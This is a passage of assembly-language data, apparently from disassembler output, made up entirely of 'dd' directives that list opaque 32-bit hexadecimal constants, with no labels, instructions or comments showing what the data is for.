		dd 0E9CBBF1Ch, 5986064Ch, 0D73F64B1h, 0FDFF2755h, 0DE9A7274h
		dd 9C8A6626h, 19402FB0h, 178DE918h, 0D16489E4h,	92D37C66h
		dd 0F240F3D3h, 1D8039Fh, 4A34EF53h, 0F2A0CA88h,	28C5CEB1h
		dd 3AD13240h, 939D1628h, 0DA0F04F6h, 1014BF9h, 0D0E180A4h
		dd 366DA583h, 9B5511C4h, 7903C122h, 0C5845597h,	9207E884h
		dd 19C1A46Dh, 7B1BE9E1h, 9A3E8A97h, 0DBA82DC4h,	0A58738E0h
		dd 8418E2A0h, 8B4C02D1h, 6F33E041h, 650C3559h, 6DB67921h
		dd 6F86BF51h, 0D346EE0Fh, 0A8D89BABh, 0DED94940h, 5D1948F8h
		dd 0CED3C52Fh, 0BFDD7517h, 843E627Ch, 83D9053Bh, 326ADD65h
		dd 1C7D06Eh, 38D04C6Eh,	7A3D0390h, 80B47F58h, 0F5F3A995h
		dd 0C2F9776Eh, 8BC607DCh, 0F33EDA7Ah, 601FCD2Ch, 0CC7D1060h
		dd 723DD466h, 0CC216BFFh, 0C8103E02h, 0F694E0A7h, 594BC40h
		dd 9AFA0C1Ch, 0CD143394h, 19849DF2h, 0D9CFE34Bh, 95BFBA4Ah
		dd 5376846Eh, 0F7107EEBh, 0C22A945Ch, 6D45E349h, 946747BBh
		dd 937D2DC6h, 0F1879C7Dh, 0E6BCCAE5h, 0B362E523h, 0C57C0E49h
		dd 2E310836h, 0C1CE23F4h, 2ACF45CBh, 0CB7C1A07h, 0C34BD233h
		dd 0A7B53011h, 5F839DB3h, 0B6EFBF57h, 0F07A3C32h, 0E9F3B749h
		dd 0C2AA3154h, 4DDF0A5Bh, 2A84F591h, 80042345h,	68FD38Ch
		dd 69BB9FB6h, 7FA495C8h, 985F581Bh, 3C5BADBFh, 3980488h
		dd 40117CAFh, 4224BEB2h, 41B7096Eh, 0F24D2FE0h,	3A2C404Ah
		dd 1B692BCFh, 0BAF63B74h, 2BEF0E19h, 2108D223h,	104B4FB2h
		dd 0CCAAE5B4h, 7A80A700h, 0A8C541Ch, 2716A47Ah,	74F7F21Bh
		dd 219621E4h, 9F4F843h,	46B4F916h, 0C14420BCh, 0B02D2748h
		dd 64ABE359h, 3D6E832Eh, 16A474D1h, 0E4EC8779h,	82F5343Dh
		dd 1F7B00C1h, 0DB55D16h, 97BBF324h, 38AAD60Ch, 47785DA4h
		dd 4ECABF17h, 589EAF8Fh, 0D713653Fh, 18489843h,	715ABE73h
		dd 0CB9EED6Ah, 8A72AAB0h
		dd 6F733DD4h, 0C3FD4A8Ah, 0E6672267h, 6074E9D4h, 77B256Fh
		dd 38BC33E5h, 2F665026h, 318395B1h, 9E00F064h, 0D8E7E4Eh
		dd 0FB57B36Bh, 9A3A0911h, 77F3D8CFh, 0C5CCC703h, 9ED2197Dh
		dd 8F558711h, 0FCC44B9Dh, 0F049CA51h, 7522D783h, 0A392F00Bh
		dd 20845CE4h, 0DFB92D4Bh, 70B387h, 0C4492749h, 4E91CA14h
		dd 35E79157h, 0F90E2A5h, 8146A5B0h, 0F62BC2BCh,	0DB918736h
		dd 606E6F09h, 8D1CA739h, 4CC0BEE0h, 636700FDh, 866A4775h
		dd 0B7317AC2h, 7FEBECD1h, 868DF33Ch, 14883A8Eh,	988E8DF5h
		dd 0A0842968h, 547ED4Eh, 0C3DA441Bh, 86440AF2h,	0BFF819F7h
		dd 6CEFCAAFh, 4C33A35Eh, 566EF1FFh, 88D17499h, 0A509C145h
		dd 0F74017FAh, 44515C1h, 951CE07h, 282A689h, 3CB86965h
		dd 67170E7Dh, 5DB9EB44h, 3FEF952Fh, 0DB2557B1h,	6D5FF52h
		dd 22CFFA55h, 548E8255h, 19DB10C6h, 0BA1D5838h,	6B326B50h
		dd 0F5D6ABD6h, 22543D9Ch, 8CB19909h, 55657F22h,	33D7726Ch
		dd 0CC8A3756h, 3D92C17Bh, 696FCB68h, 8621ED6Eh,	664B0C04h
		dd 26CA8BA5h, 0B4468EE7h, 0D48313C2h, 0DA6B2933h, 7688416Eh
		dd 36B5A5B3h, 0CC7A4058h, 974E8477h, 17F2BD77h,	9FDB847Dh
		dd 0A00B82CDh, 0C8F0D8F5h, 317AA9A8h, 0E0A2B883h, 78D2D943h
		dd 5A1DB4Dh, 0A1A2B4F9h, 2F673EFFh, 0C41A1038h,	0D4346EEDh
		dd 3BE55B34h, 440ADBC2h, 0EE4A1708h, 0BDB5BCE9h, 96F5E3ADh
		dd 409CC137h, 6B3FFF2h,	0D097DAC4h, 89057249h, 0A000CABCh
		dd 8F7B4D84h, 0F2408BECh, 9E709025h, 0DF62998Fh, 0FCE09C86h
		dd 0A75CDA18h, 0DE6BCBC4h, 0DFC20F00h, 0CBCF66DAh, 3293BA4Eh
		dd 0AEB6A62Dh, 0EA7CB38Ch, 9AC5EFD8h, 0C73E1BF7h, 6999078Ah
		dd 5A22FD53h, 867C062Eh, 15729DA3h, 15F15C42h, 10A716FAh
		dd 73F2BBC1h, 8BBE64D1h, 7417D33Bh, 42BC94A1h, 2F1B1F97h
		dd 0EFB81633h, 0A7F37404h, 2979CEF8h, 0F8587C83h, 7117750Ah
		dd 8537D972h, 0B535798Dh, 1AF98514h, 3DB9B1B2h,	8969F364h
		dd 59317300h, 5D6A1BCCh, 3D8F69C2h, 0B4823C76h,	0DBDDF068h
		dd 5E0F228Fh, 9128938h,	1C97BEAAh, 814F7A34h, 0A6BBC355h
		dd 93BE02FCh, 0D4856B33h, 0E67F017Ch, 0DD577825h, 0ED1DB532h
		dd 4642F344h, 0BD465CCAh, 0E4CCE0E7h, 0DC49B516h, 0F1F329CCh
		dd 6D456F0Ch, 7EEEC30Bh, 5E3AC20Fh, 0A07B8DBBh,	133A1397h
		dd 8A891E5Dh, 7CD9635Bh, 0A121B973h, 0D3DFF438h, 0F6E641FEh
		dd 0F8AD7522h, 63930605h, 8F7E7645h, 6E6F8980h,	0A05C8FB6h
		dd 0FA62C5ECh, 71BBEE34h, 0ED8FA4D2h, 0D8716F28h, 0B49EF92Ah
		dd 2A65711Ah, 45F98D4Bh, 29634ADBh, 0AF7EB769h,	1B03EE64h
		dd 7638CD8Fh, 2EA82D18h, 8533D9E5h, 0FD9B213Bh,	0A19B7939h
		dd 938C6AE5h, 0B2C8295Bh, 46A478C2h, 152BBDD1h,	799C3032h
		dd 93075640h, 0CFA09B74h, 28EEF6D1h, 7E9E0F4Ah,	4DFFF193h
		dd 0D947DD67h, 0AD89DC1Bh, 0D8445CFFh, 4BD4F69Eh, 96CC3BFBh
		dd 17910635h, 769EB3C8h, 4857353Ah, 2E6131F4h, 0AC16E2BFh
		dd 32AE8D1Eh, 0C1E1B607h, 39B46567h, 403C43D4h,	53010A94h
		dd 71C0CDC1h, 0C5249AA9h, 0EF629C00h, 6320C537h, 0D2C65D43h
		dd 1BCE424Dh, 0F52622AAh, 0ECF89AD4h, 932ED321h, 0C737F5D5h
		dd 0C0265DD5h, 6815AAD5h, 6275BEB9h, 3D260579h,	0C0B6B8F2h
		dd 0BFA64AE7h, 96427D29h, 0E3C7D641h, 0E9088EBh, 0E4C1612Fh
		dd 7C20FF1Ch, 0CF81D02Dh, 0F5CCCE4Dh, 4165E66Dh, 0CB9E257Dh
		dd 22B98818h, 8BE4D71Bh, 22672380h, 8629136Eh, 0CCAF2712h
		dd 29766DCFh, 0CA1075A7h, 617E613h, 0D772D4CCh,	0D90B819Bh
		dd 7827250h, 8C9B816Eh,	188AD0Ah, 2F4C5892h, 0DDDAA6DBh
		dd 5A8C4E0Eh, 0E21A4CABh, 5029E752h, 40D46D93h,	302A539Dh
		dd 0D8FFA4F6h, 0AEE80E06h, 992D2845h, 437EECB2h, 170F1A08h
		dd 2847EC99h, 23F400C0h, 0B623ED89h, 382DD4ABh,	54213075h
		dd 0CDD95239h, 4A0A4B1Ah, 3D1CC9E5h, 0AD3B614Ah, 5C037B9Ah
		dd 0E9DCAA52h, 1627615Fh, 0FFBE6B76h, 0D6194044h, 6E0E3C7Eh
		dd 7723680Bh, 60F96510h, 0D8FFC006h, 4C103076h,	0C2DA49ADh
		dd 0CF3F963Ch, 0DD54EF19h, 7CF2F13Bh, 808D05C9h, 5D6AD759h
		dd 0F217791Eh, 0C3677EEh, 586C85E2h, 0AC647DA4h, 0E88F832Bh
		dd 0B0501F50h, 5190C1FDh, 0A59E3B49h, 9F4F101Dh, 0B0D77A8Fh
		dd 2515CB8Eh, 71DBFEC1h, 225B867Bh, 0FBA7398Fh,	4136F977h
		dd 0DC5CC3B2h, 139C9C74h, 0ADD8AC5Fh, 0B45C3270h, 0D8F9C83Eh
		dd 0DF5730B4h, 3B307490h, 0FD076BA1h, 0ACBEB942h, 8B46F332h
		dd 77101884h, 3C7724FAh, 8886B692h, 357BFCADh, 987B02E8h
		dd 92ED25C6h, 152A6F2Fh, 7D1D240Ah, 41C424E2h, 52462B0Fh
		dd 0A12C9767h, 8AE7FEBAh, 0FBFA0C4Fh, 31FCBAD1h, 0F025836Ch
		dd 6816C80Ah, 313A4963h, 30ADA143h, 133C5A37h, 961DC89Eh
		dd 29D083FDh, 577625D7h, 0D7C7008h, 0A061DF23h,	0DD35A0B9h
		dd 6E9EDF5Dh, 0D27203D0h, 0C5A12A6Eh, 8E3020CEh, 2EFC7A7Ch
		dd 6DC3D880h, 0C0EE38D0h, 45EAA076h, 0E4B4EF42h, 462920DFh
		dd 1EC5ACE9h, 43FBAAF6h, 0E67AFC31h, 2102E6C2h,	0EB3752FFh
		dd 1FB8147Ch, 440E9BC9h, 80EB4DC1h, 3B1C0B53h, 256930CDh
		dd 5487A82Bh, 0CA25C5DAh, 442C156Fh, 6AF67E42h,	3761F373h
		dd 176B76E2h, 0A45F1C37h, 76C31CB7h, 0EA835B6Ah, 26E09E4Ah
		dd 0B8AA2479h, 17836D2Eh, 3A1B38A4h, 5ADA8E0Bh,	0D7F4D9ADh
		dd 0EF35038Bh, 84BB6FEBh, 7B255E53h, 0F785B583h, 201908DBh
		dd 0A38ECAA3h, 250A3277h, 9FE603ADh, 0A8C0E0C2h, 0B9F67622h
		dd 26246F41h, 178243ACh, 0C9EBC78Eh, 0EE977E27h, 46DA061Eh
		dd 0B85F1C4h, 321ADD5Ah, 0BEEDEEB7h, 0BB40EE5Bh, 7A408A6Eh
		dd 280F3658h, 814EA951h, 5CCD7392h, 715902CCh, 0A55B033Ah
		dd 1C37F43Ch, 954D170Bh, 0D2CAF6DEh, 0E7B78C88h, 229EE2FAh
		dd 0C36A0C24h, 0FE6C7B39h, 0D32A3B58h, 652B3E42h, 2683AD15h
		dd 2C10D51Eh, 0F3385D24h, 55F51402h, 9EE78AF6h,	0CA413173h
		dd 64BF4FC7h, 5DCD5637h, 779716B7h, 0A3C53741h,	8E0FF3A6h
		dd 395B898Bh, 6AA08BC5h, 0FF615396h, 0F5B5500Eh, 0F2D5CCB4h
		dd 4205AD95h, 45D9382h,	0D088A91Bh, 156C73F6h, 0EB7C8EB9h
		dd 1D0845FBh, 7D8EE12Ch, 0A26A5EB4h, 93E510E1h,	3F8BE660h
		dd 9C0030DDh, 0D09E7F0Bh, 0B1EE587h, 2F7117FCh,	7C521654h
		dd 2F1397AAh, 9FA14738h, 0F4C9BDCEh, 0F4852AD0h, 8E72BB57h
		dd 0C89AFEDEh, 3D61520Bh, 9E3F90D0h, 0D46894AAh, 4410362h
		dd 6DF9469Ah, 412F22h, 0ED7AC493h, 25528755h, 6605844Bh
		dd 1E49A29Dh, 688FBD49h, 6D72FB65h, 783253BEh, 6050D9BAh
		dd 84CB1367h, 849284EAh, 56393AD8h, 18548D32h, 0B0BC8322h
		dd 0C0B8D13Bh, 2D3215ABh, 5B84AE12h, 78C30553h,	0E9D7641h
		dd 255687A8h, 660700E7h, 940990EFh, 5A8BB82Ch, 5012ABB8h
		dd 785F3D27h, 1B75BE45h, 180BA4B2h, 71C27337h, 0B5C28CA1h
		dd 0E93F4B6Dh, 23FC2F28h, 9B242DBDh, 81712A1Eh,	5F6F9853h
		dd 8C4055D9h, 29F45FA3h, 9A33A4FFh, 0C5D62060h,	0BD0B50E5h
		dd 5BB5AB16h, 44FE81DCh, 0CA8B7D60h, 0A6B70143h, 0EE8DDE72h
		dd 4CCCAB7Fh, 0EAF7E1A9h, 5DD14489h, 8977CBCh, 8DAE0419h
		dd 1C84A271h, 0CA49ED8Ch, 0B96BAB2h, 34354576h,	0F009AAA9h
		dd 81F539DAh, 180C57E7h, 3ECBD4CAh, 0F3E49DF1h,	361DF62Fh
		dd 43F4E8C6h, 0E493E2EEh
		dd 0DBF9AA20h, 35B24146h, 7A745E64h, 3AC9FFA5h,	3C62AB32h
		dd 0BEB2650Ah, 627247EEh, 6D433036h, 0F48292BFh, 99499DCh
		dd 0DACCC08Ah, 7FF9E606h, 0D497144Ah, 5FB36ABDh, 0C7FC231h
		dd 0DD708DCh, 963D62F3h, 40166269h, 549281CEh, 57F0C432h
		dd 0C415C283h, 2FB9AA5Fh, 0EB067C88h, 0D4AD40B5h, 5AA473DFh
		dd 0F15A1720h, 335038F6h, 228F914Eh, 0FFD2D51Ah, 0F519D111h
		dd 5C847060h, 0C514D8F3h, 0D7FA8634h, 6CB6C3D0h, 0A5E45E4Ch
		dd 5CE8BCFBh, 421BD8CBh, 76E6743Eh, 0CCC5AAFEh,	35DE96B8h
		dd 83FC595Eh, 0F83B396Eh, 8DAB3FF5h, 2091197Bh,	0EDF72EEEh
		dd 4EF0C35Ch, 35FA8877h, 0E966CDE6h, 45ED8063h,	9EB8CBBCh
		dd 600919FEh, 1F4EC60Eh, 0D0EDB80Dh, 0E6FD182Ah, 8654F9B2h
		dd 7FEFAC3Fh, 6C242CF9h, 83C23CE5h, 50E212DBh, 502962B7h
		dd 6DD44E86h, 7BC193A8h, 0B2B5A988h, 3051C444h,	90E34566h
		dd 0D0A9FE8h, 61074222h, 0A6307730h, 938DE2F0h,	3846B278h
		dd 3C019A9Bh, 0C79F83A0h, 30FA5C31h, 0D692402Ah, 97EA6079h
		dd 0C0EDBD8Bh, 80C7ADDBh, 0F6E7CEE6h, 0FA07ECFh, 4E961C56h
		dd 8698788Fh, 4C8885F8h, 5649E9DBh, 0E16E506Eh,	988F9BA5h
		dd 0CE1920D5h, 5AB3CE4h, 33F7A1B9h, 4C99FE07h, 0F2ADF31h
		dd 1CEA48BAh, 0F6C3C2E9h, 183FFEE6h, 0CCF80C49h, 0CCDDBBA3h
		dd 0A0FA21BAh, 4A553C56h, 0AB8E189Ah, 0D44BC6B6h, 7BAA5F76h
		dd 9E9C7A76h, 207BEE3Ah, 0DDA2C004h, 0B7F3C26h,	7C6B3BD9h
		dd 0EE99D849h, 5FF1BBAAh, 0B110F133h, 1B8E8ED0h, 5CA20754h
		dd 0AD8F6E12h, 5E2740C1h, 3DE4CAC0h, 0C772F61Eh, 0C7BEB4C2h
		dd 1CFADA95h, 339B3C2Bh, 2C8AD19h, 0CB1DFF88h, 0FC4F6897h
		dd 13252F1Dh, 0CB94F989h, 0F0A25711h, 0ED42DD52h, 60A521B3h
		dd 6B6120E8h, 94D5A6B7h, 94C79BBDh, 85548F8Dh, 60B3F511h
		dd 5AFE1D1Ch, 2D36D287h, 0C69848C3h, 6457AC63h,	88F151A3h
		dd 461CA312h, 13D3C3ACh, 9726E6DFh, 9D9FDEC1h, 2BABF314h
		dd 637CB633h, 8C004632h, 9910F16Ch, 8363DD1Bh, 2E4052ACh
		dd 5324ADE5h, 24453AC5h, 0C820DD1Ah, 0F1D23219h, 0BC4E57C0h
		dd 0E8C40A35h, 63244D9Dh, 5840F867h, 2BBFCF8Fh,	0F2A9A52Ch
		dd 0C7E631FFh, 0BFD291A6h, 6FF75F88h, 0B4A6A2ABh, 0EE74D570h
		dd 4DAB09A5h, 42793402h, 0AF511C1Ch, 96C2B600h,	4B80F025h
		dd 0F926C103h, 60EF328Ch, 0E74DC8DCh, 4A22DE5Fh, 21894481h
		dd 636862BAh, 0D059C08Fh, 0C52C5691h, 0D9EDE67Fh, 0EBBF387Fh
		dd 1711D615h, 0C8B923EBh, 6AFDD5D2h, 613CFB88h,	45C817E1h
		dd 0A70910BCh, 0A5706B62h, 8C150BFBh, 0D382B517h, 0D037FF17h
		dd 7AFD3B85h, 89D42C87h, 6C4B8C4Bh, 927897Ah, 55821CBAh
		dd 96A6A5B7h, 6896DDDEh, 3955BBC0h, 195137DDh, 6F068AC7h
		dd 893328C5h, 0B8C50AD7h, 41B3FBE6h, 3D318C1Bh,	0E4BE0BF8h
		dd 1B823E33h, 0D65ABA40h, 0D1CCB33Bh, 3381B760h, 0A916CBD1h
		dd 40B3085Dh, 0E377D033h, 6A727ED6h, 67AE41D2h,	0BE3F7018h
		dd 733937AFh, 0B9C8C970h, 0E3A7173h, 0ADD34BB7h, 98C779A8h
		dd 61898034h, 0A9896180h, 0C55C334Ch, 6C73285Bh, 0EF8295C9h
		dd 491A6339h, 286092E9h, 9B8F7116h, 4A180853h, 248FDA1Eh
		dd 0CDD2EFCDh, 80BD268Ch, 1A48BA72h, 0AC2B2587h, 601AC5E6h
		dd 0F3400211h, 2B3171B6h, 4D12F3AAh, 55970B16h,	0D2519087h
		dd 0B146D403h, 693DA0D2h, 0D8A3E54Eh, 0B87F0023h, 0E2E979B7h
		dd 5449C5FEh, 2527B8BFh, 0C3D0946h, 2A7A26C9h, 0A8C63977h
		dd 0D8F74ED1h, 2E13A978h, 554A0F5Bh, 0A1B24843h, 0DDC31F80h
		dd 98DBAB8Bh, 45E5DA43h, 5CF39F4Ah, 5E7B016Dh, 170B7397h
		dd 83D2C51Bh, 0F65F878Ah, 3D86BD5Ch, 54E517F1h,	0F72DD6A8h
		dd 0BABAE1E1h, 26AC6170h, 18EB740Eh, 64D4159Dh,	15D842D3h
		dd 20A2E618h, 0DE559D0Dh, 0F572AC05h, 93BE6F8Dh, 0C87CCE6Ch
		dd 0CB42E74h, 0C2C36AC8h, 5CC8540Eh, 0E9A2213Fh, 0AF63FC43h
		dd 9A81473Eh, 3D2A1655h, 271B11AFh, 7CE1FEC9h, 0CCFC1310h
		dd 372E27ADh, 1DBDC55Eh, 0A52525C0h, 0D79E7FF9h, 0E9265CDCh
		dd 15565FF0h, 0DA4AEDCCh, 0DD86ACABh, 0B2090743h, 0FF8BFFFBh
		dd 19E6D015h, 660D58Eh,	0E2075096h, 0B23CB170h,	909619D3h
		dd 0A7F60DE7h, 8F2287DEh, 83700D1Dh, 0EA9E3203h, 68C28D95h
		dd 77A15CBFh, 0C9097206h, 83E7BAEh, 0FE94FAC4h,	88502C84h
		dd 0AA4957C8h, 0A2C8F630h, 0F3FD693Fh, 8CA5510Ah, 7EA26841h
		dd 4505A6E7h, 0D65FD970h, 8FA30B8Ch, 6AE9528Ah,	0ED09CE42h
		dd 0A9D974C7h, 8F33CF39h, 681B49A8h, 31B2847Ch,	584DDBA9h
		dd 8DFF4D4Dh, 92663912h, 5778C775h, 592347A1h, 762D6B52h
		dd 7808888Ch, 485043BDh, 0E1F09303h, 97B2CD1Dh,	0CED5FC04h
		dd 1C45D7F1h, 0CC96D40Ch, 0F843ECF6h, 0B701866Bh, 0CE3ED265h
		dd 0D2D8218Ah, 660BEFEFh, 98078D83h, 13A45CA9h,	0D3DE1DE0h
		dd 682BF86Eh, 0FF2EADBh, 0F872F43Eh, 96B9C71Fh,	0FCF32C78h
		dd 0E6B54EE8h, 5AFD6D5h, 4CE9ADEFh, 33B78B38h, 14491D3h
		dd 0A9A6ECDFh, 95F5B883h, 0CF192BEFh, 18960581h, 0DC98A2A6h
		dd 0E55CA7B4h, 0FD733596h, 8A336B4Ch, 985C8141h, 0DA112A12h
		dd 0BD4CB657h, 2EE6B6B9h, 247C33AAh, 0AEAE8428h, 96B3CB0Ah
		dd 0D81B4121h, 0B35FF58Fh, 0D3946A1Fh, 75556961h, 8D26C671h
		dd 6BC76866h, 597C98BBh, 39F23B0Eh, 0F7F44EABh,	393C8A0Bh
		dd 2F808FE0h, 0F17CE65Ah, 4BF633EDh, 0CFC7C7DCh, 0FBF828DBh
		dd 65559E14h, 50A62464h, 483F50A5h, 641FD7ACh, 0D44506D9h
		dd 0E688F44Dh, 0C0F36FBDh, 82AA0BCDh, 37251DACh, 0BBB32142h
		dd 452D7721h, 0BFB991D7h, 7CFBB6Dh, 0CDF55890h,	0B80A5897h
		dd 2E5A8D53h, 9FCFCC6Ah, 3060FA6h, 0EEA8B584h, 0BC1A8DAAh
		dd 8C2EDE31h, 9C67F3AEh, 28E04518h, 0A6DF7CCFh,	43255836h
		dd 35182B14h, 2D03CF37h, 8E369F7Ah, 1784C0B7h, 0B8F17D73h
		dd 4E77CB7Fh, 6AAB938Fh, 4DE192DCh, 7D2FD59Eh, 0AFBC8F21h
		dd 3874772Dh, 59A7A8B0h, 2BF67DE2h, 3FD2216Bh, 0C4734756h
		dd 50755987h, 0D002BE62h, 0AB628C2Fh, 154BD1FCh, 684C302h
		dd 0F9893334h, 8134FAA1h, 0D4812AE0h, 0F10C6B04h, 458BB16Ch
		dd 0B3DD8F41h, 430E28EFh, 99CD2548h, 4CCC5A3Ah,	0C9AAD426h
		dd 25A5A5A9h, 1F3AB354h, 8F787A6h, 0CD1036BBh, 0A38AB527h
		dd 9A99B17Bh, 6FCCA5Ch,	0C79A245Bh, 0DB9E05F2h,	0C88C7344h
		dd 8A938489h, 6B0D95FAh, 0C9D39DEFh, 70ADD12Ah,	0E4A57725h
		dd 0B899F916h, 70AF0C4Fh, 72B12801h, 0FB891C9Bh, 0E9D782AFh
		dd 8278F501h, 98D52719h, 0C9F08747h, 8F597103h,	4F611148h
		dd 0FEF8F085h, 7EAA5893h, 8631E692h, 5B5D01C9h,	6648BE2Ch
		dd 198E95F7h, 0CAE27618h, 4A920B35h, 283CC109h,	3B3458C8h
		dd 9BE21032h, 179BD2E4h, 56E0FBC6h, 4F3FDDC4h, 0F797935Fh
		dd 3292DAEEh, 25E1F950h, 2014C62Eh, 0B76E4E36h,	0FAF97AF3h
		dd 0EBF3D01Ah, 3F9C3C0Fh, 2FD92996h, 0C8D62CFFh, 0AA91FBEDh
		dd 7B2A4952h, 24618F95h, 0EB9EA720h, 89CE2FEEh,	1CEBB67Ch
		dd 8B22688Ah, 0E3CF2025h, 9F2A04A1h, 448F7069h,	26FB0E65h
		dd 0D7182EB2h, 0FF3B2F1Eh, 613AB171h, 4B9D3345h, 9156F59Eh
		dd 0CE621D34h, 0E7FD43ABh, 3DAE8DE7h, 4FB29632h, 21E405A1h
		dd 7A31ED21h, 0BB548CAEh, 1DCDBF06h, 6CC735E4h,	63F9A4Ch
		dd 5A2B3944h, 0E3E768CAh
		dd 0DAB7BCF1h, 131ACC18h, 6D37406Ch, 38B7D323h,	25318844h
		dd 0CB21D154h, 0C0FFA6AFh, 2BC32873h, 4F3167h, 94013B1h
		dd 0A9AE3C27h, 680A53E1h, 327E6745h, 928054CBh,	1D7A3167h
		dd 6240AF37h, 0EEEEE9BEh, 0B44540BAh, 85FD8276h, 95D08FA3h
		dd 33ECA6E5h, 8EE6F288h, 0C64C39B3h, 0CF1AD787h, 63256E86h
		dd 5F9F6029h, 72BD8962h, 0D4DB812Fh, 0B99742F5h, 0FD96C1D1h
		dd 53EDF3BCh, 271CEA2h,	44D29F71h, 6ED152A9h, 35A05060h
		dd 2BF8D9CCh, 344BF013h, 50F562E1h, 3465DCBFh, 0FFBC6FABh
		dd 1F686BEFh, 97F34DE6h, 1D48B8D2h, 0A046FE48h,	0F0419647h
		dd 866793C6h, 0A9B5A7DEh, 0D2C3E0Fh, 3105394Fh,	208207F5h
		dd 76B46D26h, 964C5CDCh, 2CD4D723h, 3C7B82A6h, 0FDAD8BBFh
		dd 0EB70787Dh, 0D21189FFh, 98640843h, 62B898DDh, 0B84D2BACh
		dd 7B654485h, 87CB43C2h, 522AC17Ch, 0D0C6BAE1h,	0EC388B03h
		dd 506BDB1Ah, 50FCC895h, 0E34A2DBDh, 3244AFB0h,	6D3CEEAEh
		dd 0DB4AD0BAh, 35D3B592h, 114462CDh, 0AF389918h, 931EA130h
		dd 0EBDA4434h, 11FB61CFh, 9579A9B6h, 0A33E044h,	8DAED8A1h
		dd 0ABA7DD2Ah, 0E65019ABh, 0B450DC0h, 6DC7C5B2h, 0B7BC7C0Eh
		dd 0E2A2B629h, 4A6A4E25h, 48790383h, 328DDC55h,	4E52EE44h
		dd 0CF17BC4Dh, 0E46F5D32h, 7EE03397h, 16B7E633h, 6D0EDE51h
		dd 0C126485Ch, 5AA7771Bh, 31DFAB0Ch, 60F35978h,	617AA0D2h
		dd 0AF0FCCF7h, 8CB96A9Bh, 1A868575h, 0D1A2976Eh, 0F7909470h
		dd 5601DBB8h, 0A6934B64h, 6E867D96h, 0CA6E6C4Ah, 0E66B062Eh
		dd 5A1C5A5Fh, 0BB52CED7h, 44EE5929h, 0F41C1845h, 6565A560h
		dd 798D7A2Fh, 0D0902CC1h, 1409A191h, 7A5EDFE1h,	2F57BFD2h
		dd 0E9916D7Fh, 8F801DE3h, 0E6BBEBB6h, 8146D546h, 0C87ABD4Ch
		dd 38752F79h, 0ACE558E8h, 61AB50FEh, 17ABC887h,	55E29E71h
		dd 0BAE2C7D7h, 913E692h, 0CFA36F28h, 0F8CFFAB6h, 0D679660Fh
		dd 5D78FE52h, 0B20BDC82h, 82F4872Ah, 0D0336850h, 3FA70A5Ah
		dd 0C3372BFh, 253A8202h, 0E5A94C1Ch, 0D58E6455h, 7078307Bh
		dd 6C9379BAh, 2D92D396h, 0D46E49E4h, 56907CCAh,	2EF19179h
		dd 309814EBh, 0F0E20FB9h, 0DF5524F1h, 5FBEC44Bh, 0E55A9120h
		dd 9734097h, 0B7863E29h, 0F9CA060Eh, 538C2EDAh,	85979124h
		dd 520B09FFh, 8E5029E1h, 0E8189896h, 2B277F43h,	1CF9D51Ch
		dd 881C51D7h, 0B37F904Fh, 20B17F44h, 3C6F9CBAh,	57496CDh
		dd 40BF2484h, 5B5498E6h, 21350A70h, 94ADAFD3h, 0C2400DE0h
		dd 0AED5C1AEh, 34652E25h, 0B4AE641Eh, 4151E3D9h, 8494562Bh
		dd 9A9F697Fh, 589E24F8h, 0CD312EB4h, 0DAC04FE8h, 0E6C5743h
		dd 0FBE06159h, 0AA6BA4AAh, 0BEB0906Ch, 15D44DADh, 0C864F3E4h
		dd 527924FEh, 2F983DE3h, 3BCD1B68h, 23C3494Fh, 807954A5h
		dd 9BC2768h, 8F858F10h,	90FEC4FCh, 0EF7C509Dh, 1DA751EAh
		dd 40E4F8E0h, 7B279ED6h, 4C4CB258h, 13DDC428h, 0C6B8ECDAh
		dd 71BDC38Fh, 8A2C91F3h, 35C2D573h, 8BC4BFDEh, 53135430h
		dd 0EB472F84h, 9FE21B6Dh, 0C0550953h, 8DB21F1Dh, 808CE20Fh
		dd 0D4EA5BC3h, 0EF18B038h, 82C47926h, 0DB02ECB3h, 2DE9172Bh
		dd 4EA97BDEh, 0AB125EE6h, 0D9BE9A93h, 0F530B76Dh, 5CECE9C2h
		dd 41DF77F1h, 7AB8C478h, 0C06631A5h, 933D5CD8h,	70B51C8Ah
		dd 7D2BD1Ah, 51AFABC8h,	72EAB8Eh, 0E489F5Eh, 0A5FC160Ch
		dd 1F95B251h, 0CE1CDA78h, 0A44A61D1h, 0CACF5BE0h, 90026C69h
		dd 43248B46h, 0B121E4AEh, 0C40243C1h, 7030F430h, 0F17120A0h
		dd 0F7F19096h, 0BC03C283h, 0EDEF883Dh, 55A9FC0Dh, 44B05F11h
		dd 0C16215B1h, 0DF0B87DCh, 71956D92h, 0B60482F5h, 6FDECDh
		dd 0E6DA04EFh, 7BD518CFh, 914B3E21h, 0F8808040h, 99B94ED7h
		dd 6DA512A5h, 0E238DF7Fh, 0D48A0915h, 0B06FD119h, 4B9BB305h
		dd 955B282Ch, 0FD450230h, 33A52E54h, 0CCA91906h, 8E82C428h
		dd 1286F724h, 7EF41FC4h, 435D64F4h, 8A1255ACh, 34514CD0h
		dd 0CAD8FA78h, 0F2B92441h, 0B7175ED7h, 56F3538Dh, 4C744A6Bh
		dd 54716ABEh, 0BA513915h, 0E623A077h, 54AA403Dh, 0D78811E2h
		dd 0FC75182Fh, 2A96A507h, 88B201C3h, 5CFDD0A4h,	7D8AE8A4h
		dd 0A3E6B871h, 9CF7374h, 4524914Dh, 0EF3D3CA7h,	0AA42E193h
		dd 62A646F8h, 365D214Ch, 148F80F6h, 0D48C45ADh,	7B89659Eh
		dd 67A7F2E4h, 971FD178h, 50110D15h, 2A56160Ch, 952239E0h
		dd 0CA808h, 1741E1D8h, 25E0F771h, 4C10736Dh, 0FE0A2D4Fh
		dd 0BC41ACAAh, 7123898h, 5022DA56h, 0C30EBA82h,	1A8B0C4h
		dd 0BB90AB46h, 9C52CDEAh, 70EC1ABAh, 0C9306B54h, 375286E3h
		dd 5EDC5CC5h, 0C98D7650h, 52E74367h, 190A4383h,	0BD5D7D94h
		dd 0CF2B41D2h, 0D31A609Dh, 0BCC552A2h, 0A0FA60AEh, 672C2334h
		dd 99E80279h, 73D70BD0h, 0DA9D5BC0h, 0FB2CB0B0h, 0C876364h
		dd 0FE890B3Bh, 0ACEDE6FBh, 577D7927h, 4D5F0B34h, 530F626h
		dd 697B097Eh, 39E0076Dh, 0CD45716Ch, 9435E1C2h,	37ACD231h
		dd 43368E16h, 6307C519h, 209E76EAh, 853ED5CFh, 0B705D8A7h
		dd 0E02F1C9Dh, 2D16C9Eh, 0AF419316h, 5BABA85Dh,	24E70AD7h
		dd 0EE2E8FBCh, 0B76A14BDh, 21233470h, 0E8C35915h, 325AA592h
